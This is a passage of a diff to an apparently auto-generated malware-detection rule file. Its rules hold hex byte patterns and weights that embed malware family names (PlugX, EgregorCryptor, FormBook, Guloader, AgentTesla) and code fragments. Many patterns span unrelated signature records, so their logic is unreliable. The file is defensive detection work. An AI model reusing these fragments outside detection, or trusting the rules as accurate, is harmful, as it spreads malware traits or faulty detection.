89 e0 c7 40 28 04 00 00 00 c7 40 20 00 10 00 00 31 c0 41 89 c0 48 c7 c1 01 00 25 01 48 01 c8 8b 40 10 89 44 24 2c 48 8b 4c 24 38 48 8b 54 24 30 4c 63 44 24 2c e8 } //21283 + $a_44_2 = {c0 01 01 00 14 03 44 8b 4c 24 3c 48 89 e0 90 01 05 48 89 48 20 48 c7 c1 90 00 01 00 0d 01 89 44 24 44 8b 44 } //17547 + $a_e8_3 = {83 f8 00 00 78 8e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 75 67 58 2e 41 46 21 64 68 61 00 01 00 16 01 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 62 00 69 00 6e 00 01 00 0e 01 2f 70 72 6f 63 2f 31 32 33 2f 73 74 61 74 01 00 16 01 63 3a 5c 75 73 65 72 73 5c 68 65 6c 6c 6f 6b 65 74 79 2e 69 6e 69 01 00 1c 01 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 63 61 6c 63 2e 65 78 65 00 00 78 8e 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 4b 53 } //17444 + condition: + ((#a_46_0 & 1)*21283+(#a_44_2 & 1)*17547+(#a_e8_3 & 1)*17444) >=4 + +} +rule _InfrastructureShared_10203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -103336,21 +109989,36 @@ rule _InfrastructureShared_9596{ ((#a_4c_0 & 1)*21539+(#a_75_2 & 1)*14947+(#a_32_3 & 1)*21323) >=4 } -rule _InfrastructureShared_9597{ +rule _InfrastructureShared_10204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 4b 53 36 32 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a } //16675 - $a_6c_1 = {6e 65 64 01 00 06 80 01 6f 66 66 65 72 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 45 67 72 65 67 6f 72 43 72 79 70 74 6f 72 2e 54 43 00 05 00 5d } //25956 - $a_20_2 = {c3 39 50 20 8b d3 8b 5d f8 1b c0 f7 d8 2d 90 01 04 01 42 24 39 72 24 1b c0 f7 d8 05 90 01 04 01 42 28 39 7a 28 8b fa 1b c0 f7 d8 05 90 01 04 8b 77 20 01 47 2c 39 4f 2c 1b c0 f7 d8 2d 90 01 04 01 47 30 } //259 - $a_1b_3 = {f7 d8 05 90 01 04 01 47 34 8b 45 f4 39 47 34 90 00 00 00 78 8e 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 } //24377 - $a_42_4 = {6f 6b 2e 41 50 4b 41 21 4d 54 42 00 05 00 5e 03 01 25 16 02 20 00 00 ff 00 5f 1f 10 63 20 ff 00 00 00 5f d2 9c 25 17 02 20 00 ff 00 00 5f 1e 63 20 ff 00 00 00 5f d2 9c 25 18 02 20 ff 00 00 00 5f 20 ff 00 00 00 7e 90 01 01 00 00 04 20 f3 00 00 00 7e 90 01 01 00 00 04 20 f3 00 00 00 93 02 5f 20 fe 00 00 00 5f 9d 5f d2 9c 2a 90 } //29295 + $a_6c_1 = {6e 65 64 01 00 06 80 01 6f 66 66 65 72 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8e 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 49 4f 44 72 6f 70 70 65 72 2e 50 52 21 41 4d 54 42 00 01 00 0e 81 01 53 79 73 74 65 } //25956 + $a_4f_2 = {46 69 6c 65 01 00 0d 81 01 57 72 69 74 65 41 6c 6c 42 79 74 65 73 01 00 0c 81 01 57 72 69 74 65 41 6c 6c 54 65 78 74 01 00 08 81 01 54 65 6d 70 50 61 74 68 01 00 0b 81 01 45 6e 76 69 72 6f 6e 6d 65 6e 74 01 00 10 81 01 } //11885 + $a_72_3 = {6e 74 44 69 72 65 63 74 6f 72 79 00 00 78 8e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 45 67 72 65 67 6f 72 43 72 79 70 74 6f 72 2e 54 43 00 05 00 5d 03 01 43 20 8b c3 39 50 20 8b d3 8b 5d f8 1b c0 f7 d8 2d 90 01 04 01 42 24 39 72 24 1b c0 f7 d8 05 90 01 04 01 42 28 39 7a 28 8b fa 1b c0 f7 d8 05 90 01 } //30019 + $a_20_4 = {47 2c 39 4f 2c 1b c0 f7 d8 2d 90 01 04 01 47 30 39 5f 30 1b c0 f7 d8 05 90 01 04 01 47 34 8b 45 f4 39 47 34 90 00 00 00 78 8e 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 41 50 4b 41 21 4d 54 42 00 05 00 5e 03 01 25 16 02 20 00 00 ff 00 5f 1f 10 63 20 ff 00 00 00 5f d2 9c 25 17 02 20 00 ff 00 00 } //-29948 + $a_20_5 = {00 00 00 5f d2 9c 25 18 02 20 ff 00 00 00 5f 20 ff 00 00 00 7e 90 01 01 00 00 04 20 f3 00 00 00 7e 90 01 01 00 00 04 20 f3 00 00 00 93 02 5f 20 fe 00 00 00 5f 9d 5f d2 9c 2a 90 00 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 46 } //7775 condition: - ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25956+(#a_20_2 & 1)*259+(#a_1b_3 & 1)*24377+(#a_42_4 & 1)*29295) >=4 + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25956+(#a_4f_2 & 1)*11885+(#a_72_3 & 1)*30019+(#a_20_4 & 1)*-29948+(#a_20_5 & 1)*7775) >=4 } -rule _InfrastructureShared_9598{ +rule _InfrastructureShared_10205{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 49 4f 44 72 6f 70 70 65 72 2e 50 52 21 41 4d 54 42 00 01 00 0e 81 01 53 79 73 74 65 6d 2e 49 4f 2e 46 69 6c 65 01 00 0d 81 01 57 72 69 74 65 41 6c 6c 42 79 74 65 73 01 00 0c 81 01 57 72 69 74 65 41 6c 6c 54 65 78 74 01 00 08 81 01 } //18467 + $a_70_1 = {61 74 68 01 00 0b 81 01 45 6e 76 69 72 6f 6e 6d 65 6e 74 01 00 10 81 01 43 75 72 72 65 6e 74 44 69 72 65 63 74 6f 72 79 00 00 78 8e 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 45 67 72 65 67 6f 72 43 72 79 70 74 6f 72 2e 54 43 00 05 00 5d 03 01 43 20 8b c3 39 50 20 8b d3 8b 5d f8 1b c0 f7 } //25940 + $a_01_2 = {04 01 42 24 39 72 24 1b c0 f7 d8 05 90 01 04 01 42 28 39 7a 28 8b fa 1b c0 f7 d8 05 90 01 04 8b 77 20 01 47 2c 39 4f 2c 1b c0 f7 d8 2d 90 01 04 01 47 30 39 5f 30 1b c0 f7 d8 05 90 01 04 01 47 34 8b 45 f4 39 47 34 90 00 00 00 78 8e 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 41 50 4b 41 21 4d 54 42 00 05 00 5e 03 01 25 16 02 20 00 00 ff 00 5f 1f 10 63 20 ff 00 00 00 5f } //11736 + $a_17_3 = {20 00 ff 00 00 5f 1e 63 20 ff 00 00 00 5f d2 9c 25 18 02 20 ff 00 00 00 5f 20 ff 00 00 00 7e 90 01 01 00 00 04 } //-25390 + $a_01_5 = {01 00 00 04 20 f3 00 00 00 93 02 5f 20 fe 00 00 00 5f 9d 5f d2 9c 2a 90 00 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 46 48 21 4d 54 42 00 01 00 0a 80 01 41 41 52 64 7a 53 63 57 4d 75 01 00 09 80 01 49 6e 24 4a 24 63 74 30 72 01 00 1e 00 7e 82 d2 52 26 06 47 06 62 00 e7 05 53 00 c1 79 46 06 56 00 26 06 4a 00 43 06 47 06 2d 06 01 00 15 80 01 6b 57 4a 47 67 78 } //32256 + condition: + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*25940+(#a_01_2 & 1)*11736+(#a_17_3 & 1)*-25390+(#a_01_5 & 1)*32256) >=4 + +} +rule _InfrastructureShared_10206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -103360,7 +110028,7 @@ rule _InfrastructureShared_9598{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_9599{ +rule _InfrastructureShared_10207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -103370,7 +110038,7 @@ rule _InfrastructureShared_9599{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_9600{ +rule _InfrastructureShared_10208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -103384,7 +110052,7 @@ rule _InfrastructureShared_9600{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1606+(#a_00_2 & 1)*21581+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_9601{ +rule _InfrastructureShared_10209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -103397,20 +110065,48 @@ rule _InfrastructureShared_9601{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_00_3 & 1)*117+(#a_53_4 & 1)*8993) >=5 } -rule _InfrastructureShared_9602{ +rule _InfrastructureShared_10210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 39 21 4d 54 42 00 01 00 18 81 01 42 75 6e 69 35 35 35 66 75 5f 54 65 35 35 35 35 78 74 42 35 35 35 6f 78 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 } //18467 - $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 50 32 34 30 39 21 4d 54 42 00 01 00 0b 01 2e 64 6c 6c 00 49 63 6f 4c 65 51 01 00 12 01 45 6e 75 6d 52 65 73 6f 75 72 63 65 54 79 70 65 73 41 01 00 13 01 49 5f 52 } //2560 - $a_61_2 = {73 65 45 78 65 63 75 74 69 6f 6e 01 00 11 01 52 70 63 52 65 76 65 72 74 54 6f 53 65 6c 66 45 78 01 00 11 01 43 72 65 61 74 65 41 6e 74 69 4d 6f 6e 69 6b 65 72 00 00 78 8e 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4b 65 } //25456 - $a_6c_3 = {32 5f 76 69 61 5f 50 45 42 00 01 00 08 01 64 ff 35 18 00 00 00 5a 01 00 08 00 00 be 0a 09 00 be 0a 0c 01 00 08 00 00 be 0a 11 00 be 0a 14 01 00 0d 02 66 ad 3c 41 72 90 01 01 3c 5a 77 90 00 01 00 0c 01 8b 4e 04 81 e9 65 6c 33 32 75 af 75 01 00 13 02 8b 4e 08 81 e9 2e 64 6c 6c 75 90 01 01 80 7e 0c 00 90 } //28274 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 43 31 21 4d 54 42 00 01 00 13 81 01 55 6e 6a 75 64 67 65 61 62 6c 65 68 65 70 74 61 31 39 37 01 00 0f 81 01 61 66 76 69 6b 6c 69 6e 67 73 74 69 64 6f 76 01 } //2560 + $a_01_2 = {50 65 64 69 66 6f 72 6d 63 69 76 69 6c 66 6f 34 37 01 00 11 81 01 4c 69 6b 76 69 64 61 74 6f 72 65 72 73 68 65 36 39 01 00 0a 81 01 73 62 65 6e 64 65 73 6d 6f 6e 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 49 31 21 4d 54 42 00 01 00 0f 81 01 54 68 65 6f 70 68 69 6c 6f 73 6f 70 68 69 63 01 00 0e 81 01 63 68 69 72 72 75 70 } //4352 + $a_2e_3 = {6e 69 01 00 19 81 01 76 73 65 6e 74 6c 69 67 68 65 64 73 6b 72 69 74 65 72 69 75 6d 2e 74 78 74 01 00 0a 81 01 73 6c 69 6b 70 6f 72 72 65 6e 01 00 0e 81 01 61 6e 74 69 67 6f 6e 6f 72 72 68 65 61 6c 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 50 32 34 } //28265 + $a_4d_4 = {42 00 01 00 0b 01 2e 64 6c 6c 00 49 63 6f 4c 65 51 01 00 12 01 45 6e 75 6d 52 65 73 6f 75 72 63 65 } //14640 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2560+(#a_61_2 & 1)*25456+(#a_6c_3 & 1)*28274) >=5 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2560+(#a_01_2 & 1)*4352+(#a_2e_3 & 1)*28265+(#a_4d_4 & 1)*14640) >=5 } -rule _InfrastructureShared_9603{ +rule _InfrastructureShared_10211{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 43 31 21 4d 54 42 00 01 00 13 81 01 55 6e 6a 75 64 67 65 61 62 6c 65 68 65 70 74 61 31 39 37 01 00 0f 81 01 61 66 76 69 6b 6c 69 6e 67 73 74 69 64 6f 76 01 00 11 81 01 50 65 64 69 66 6f 72 6d 63 } //18467 + $a_6c_1 = {6f 34 37 01 00 11 81 01 4c 69 6b 76 69 64 61 74 6f 72 65 72 73 68 65 36 39 01 00 0a 81 01 73 62 65 6e 64 65 73 6d 6f 6e 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 49 31 21 4d 54 42 00 01 00 0f 81 01 54 68 65 6f 70 68 69 6c 6f 73 6f 70 68 69 63 01 00 } //30313 + $a_63_2 = {69 } //-32498 i + $a_70_3 = {6e 67 2e 69 6e 69 01 00 19 81 01 76 73 65 6e 74 6c 69 67 68 65 64 73 6b 72 69 74 65 72 69 75 6d 2e 74 78 74 01 00 0a 81 01 73 6c 69 6b 70 6f 72 72 65 6e 01 00 0e 81 01 61 6e 74 69 67 6f 6e 6f 72 72 68 65 61 6c 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 50 32 34 30 39 21 4d 54 42 00 01 00 0b } //29298 + $a_6c_4 = {00 49 63 6f 4c 65 51 01 00 12 01 45 6e 75 6d 52 65 73 6f 75 72 63 65 54 79 70 65 73 41 01 00 13 01 49 5f 52 70 63 50 61 75 73 65 45 78 65 63 75 74 69 6f 6e 01 00 11 01 52 70 63 52 65 76 65 72 74 54 6f 53 65 6c 66 45 78 01 00 11 01 43 72 65 61 74 65 41 6e 74 69 4d 6f 6e 69 6b 65 72 00 00 78 8e 00 00 } //11777 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30313+(#a_63_2 & 1)*-32498+(#a_70_3 & 1)*29298+(#a_6c_4 & 1)*11777) >=5 + +} +rule _InfrastructureShared_10212{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 49 31 21 4d 54 42 00 01 00 0f 81 01 54 68 65 6f 70 68 69 6c 6f 73 6f 70 68 69 63 01 00 0e 81 01 63 68 69 72 72 75 70 69 6e 67 2e 69 6e 69 01 00 19 81 01 76 73 65 6e 74 6c 69 67 68 65 64 73 6b 72 } //18467 + $a_72_1 = {75 6d 2e 74 78 74 01 00 0a 81 01 73 6c 69 6b 70 6f 72 72 65 6e 01 00 0e 81 01 61 6e 74 69 67 6f 6e 6f 72 72 68 65 61 6c 00 00 78 8e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 50 32 34 30 39 21 4d 54 42 00 01 00 0b 01 2e 64 6c 6c 00 49 63 6f 4c 65 51 01 00 } //29801 + $a_6e_2 = {6d 52 65 73 6f 75 72 63 65 54 79 70 65 73 41 01 00 13 01 49 5f 52 70 63 50 61 75 73 65 45 78 65 63 75 74 69 6f 6e 01 00 11 01 52 70 63 52 65 76 65 72 74 54 6f 53 65 6c 66 45 78 01 00 11 01 43 72 65 61 74 65 } //274 + $a_69_3 = {6f 6e 69 6b 65 72 00 00 78 8e 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4b 65 72 6e 65 6c 33 32 5f 76 69 61 5f 50 45 42 00 01 00 08 01 64 ff 35 18 00 00 00 5a 01 00 08 00 00 be 0a 09 00 be 0a 0c 01 00 08 00 00 be 0a 11 00 be 0a 14 01 00 0d 02 66 ad 3c 41 72 90 01 01 3c 5a 77 90 00 01 00 0c 01 8b 4e 04 81 e9 65 6c 33 32 75 af } //28225 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29801+(#a_6e_2 & 1)*274+(#a_69_3 & 1)*28225) >=5 + +} +rule _InfrastructureShared_10213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -103424,7 +110120,7 @@ rule _InfrastructureShared_9603{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28521+(#a_0a_2 & 1)*0+(#a_62_3 & 1)*12851+(#a_3a_4 & 1)*24938) >=5 } -rule _InfrastructureShared_9604{ +rule _InfrastructureShared_10214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -103440,7 +110136,7 @@ rule _InfrastructureShared_9604{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*-32508+(#a_6b_2 & 1)*16641+(#a_6a_3 & 1)*29268+(#a_00_4 & 1)*24933+(#a_6f_5 & 1)*26989+(#a_63_6 & 1)*29541) >=5 } -rule _InfrastructureShared_9605{ +rule _InfrastructureShared_10215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -103451,7 +110147,7 @@ rule _InfrastructureShared_9605{ ((#a_46_0 & 1)*16675+(#a_8a_1 & 1)*19851) >=6 } -rule _InfrastructureShared_9606{ +rule _InfrastructureShared_10216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -103466,7 +110162,7 @@ rule _InfrastructureShared_9606{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30062+(#a_01_2 & 1)*21862+(#a_6d_3 & 1)*26447+(#a_72_4 & 1)*28673+(#a_01_5 & 1)*2560) >=6 } -rule _InfrastructureShared_9607{ +rule _InfrastructureShared_10217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -103480,7 +110176,7 @@ rule _InfrastructureShared_9607{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*80+(#a_2d_3 & 1)*264+(#a_6c_4 & 1)*30047+(#a_6c_5 & 1)*29541) >=6 } -rule _InfrastructureShared_9608{ +rule _InfrastructureShared_10218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -103495,7 +110191,7 @@ rule _InfrastructureShared_9608{ ((#a_54_0 & 1)*18467+(#a_3c_1 & 1)*5632+(#a_65_2 & 1)*29810+(#a_41_3 & 1)*25927+(#a_6e_4 & 1)*28270+(#a_3a_5 & 1)*21587) >=6 } -rule _InfrastructureShared_9609{ +rule _InfrastructureShared_10219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -103510,7 +110206,7 @@ rule _InfrastructureShared_9609{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32505+(#a_65_2 & 1)*31060+(#a_00_3 & 1)*28781+(#a_78_4 & 1)*26470+(#a_21_5 & 1)*12877) >=6 } -rule _InfrastructureShared_9610{ +rule _InfrastructureShared_10220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -103523,7 +110219,7 @@ rule _InfrastructureShared_9610{ ((#a_63_0 & 1)*18467+(#a_69_1 & 1)*28277+(#a_8b_2 & 1)*400+(#a_04_3 & 1)*17607) >=8 } -rule _InfrastructureShared_9611{ +rule _InfrastructureShared_10221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -103533,7 +110229,18 @@ rule _InfrastructureShared_9611{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9612{ +rule _InfrastructureShared_10222{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 5a 5a 41 21 4d 54 42 00 0a 00 4c 03 08 25 07 28 90 01 01 00 00 0a 72 01 00 00 70 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a } //21539 + $a_90_1 = {01 00 00 0a 6f 90 01 01 00 00 0a 06 16 06 8e 69 6f 90 01 01 00 00 0a 0d 73 90 01 01 00 00 0a 13 04 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 8e 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 50 4c 4c 45 48 21 4d 54 42 00 0a 00 4a 03 0b 00 07 28 } //6181 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*6181) >=11 + +} +rule _InfrastructureShared_10223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -103544,7 +110251,7 @@ rule _InfrastructureShared_9612{ ((#a_4c_0 & 1)*21539+(#a_18_1 & 1)*10) >=11 } -rule _InfrastructureShared_9613{ +rule _InfrastructureShared_10224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -103557,7 +110264,7 @@ rule _InfrastructureShared_9613{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285+(#a_6f_2 & 1)*16641+(#a_73_3 & 1)*21620) >=12 } -rule _InfrastructureShared_9614{ +rule _InfrastructureShared_10225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -103568,7 +110275,7 @@ rule _InfrastructureShared_9614{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*384) >=13 } -rule _InfrastructureShared_9615{ +rule _InfrastructureShared_10226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -103580,7 +110287,7 @@ rule _InfrastructureShared_9615{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*776+(#a_58_2 & 1)*1949) >=14 } -rule _InfrastructureShared_9616{ +rule _InfrastructureShared_10227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -103595,7 +110302,7 @@ rule _InfrastructureShared_9616{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*21504+(#a_04_2 & 1)*-28546+(#a_01_3 & 1)*6181+(#a_46_4 & 1)*10+(#a_00_5 & 1)*0) >=15 } -rule _InfrastructureShared_9617{ +rule _InfrastructureShared_10228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -103608,7 +110315,7 @@ rule _InfrastructureShared_9617{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32761+(#a_65_2 & 1)*31060+(#a_46_3 & 1)*10) >=16 } -rule _InfrastructureShared_9618{ +rule _InfrastructureShared_10229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -103623,7 +110330,7 @@ rule _InfrastructureShared_9618{ ((#a_54_0 & 1)*18467+(#a_32_2 & 1)*17152+(#a_2e_3 & 1)*25956+(#a_46_4 & 1)*16675+(#a_c1_5 & 1)*1025+(#a_04_6 & 1)*-28651) >=16 } -rule _InfrastructureShared_9619{ +rule _InfrastructureShared_10230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -103634,7 +110341,7 @@ rule _InfrastructureShared_9619{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*30244) >=20 } -rule _InfrastructureShared_9620{ +rule _InfrastructureShared_10231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 04 00 21 " @@ -103647,7 +110354,7 @@ rule _InfrastructureShared_9620{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*1025+(#a_04_2 & 1)*-28651+(#a_04_3 & 1)*-28611) >=21 } -rule _InfrastructureShared_9621{ +rule _InfrastructureShared_10232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 06 00 21 " @@ -103661,7 +110368,7 @@ rule _InfrastructureShared_9621{ ((#a_49_0 & 1)*19747+(#a_65_1 & 1)*28493+(#a_e4_2 & 1)*400+(#a_01_3 & 1)*5631+(#a_00_5 & 1)*116) >=40 } -rule _InfrastructureShared_9622{ +rule _InfrastructureShared_10233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103671,7 +110378,7 @@ rule _InfrastructureShared_9622{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9623{ +rule _InfrastructureShared_10234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103681,7 +110388,7 @@ rule _InfrastructureShared_9623{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9624{ +rule _InfrastructureShared_10235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103691,7 +110398,7 @@ rule _InfrastructureShared_9624{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9625{ +rule _InfrastructureShared_10236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103701,7 +110408,7 @@ rule _InfrastructureShared_9625{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9626{ +rule _InfrastructureShared_10237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103711,7 +110418,7 @@ rule _InfrastructureShared_9626{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9627{ +rule _InfrastructureShared_10238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -103721,7 +110428,7 @@ rule _InfrastructureShared_9627{ 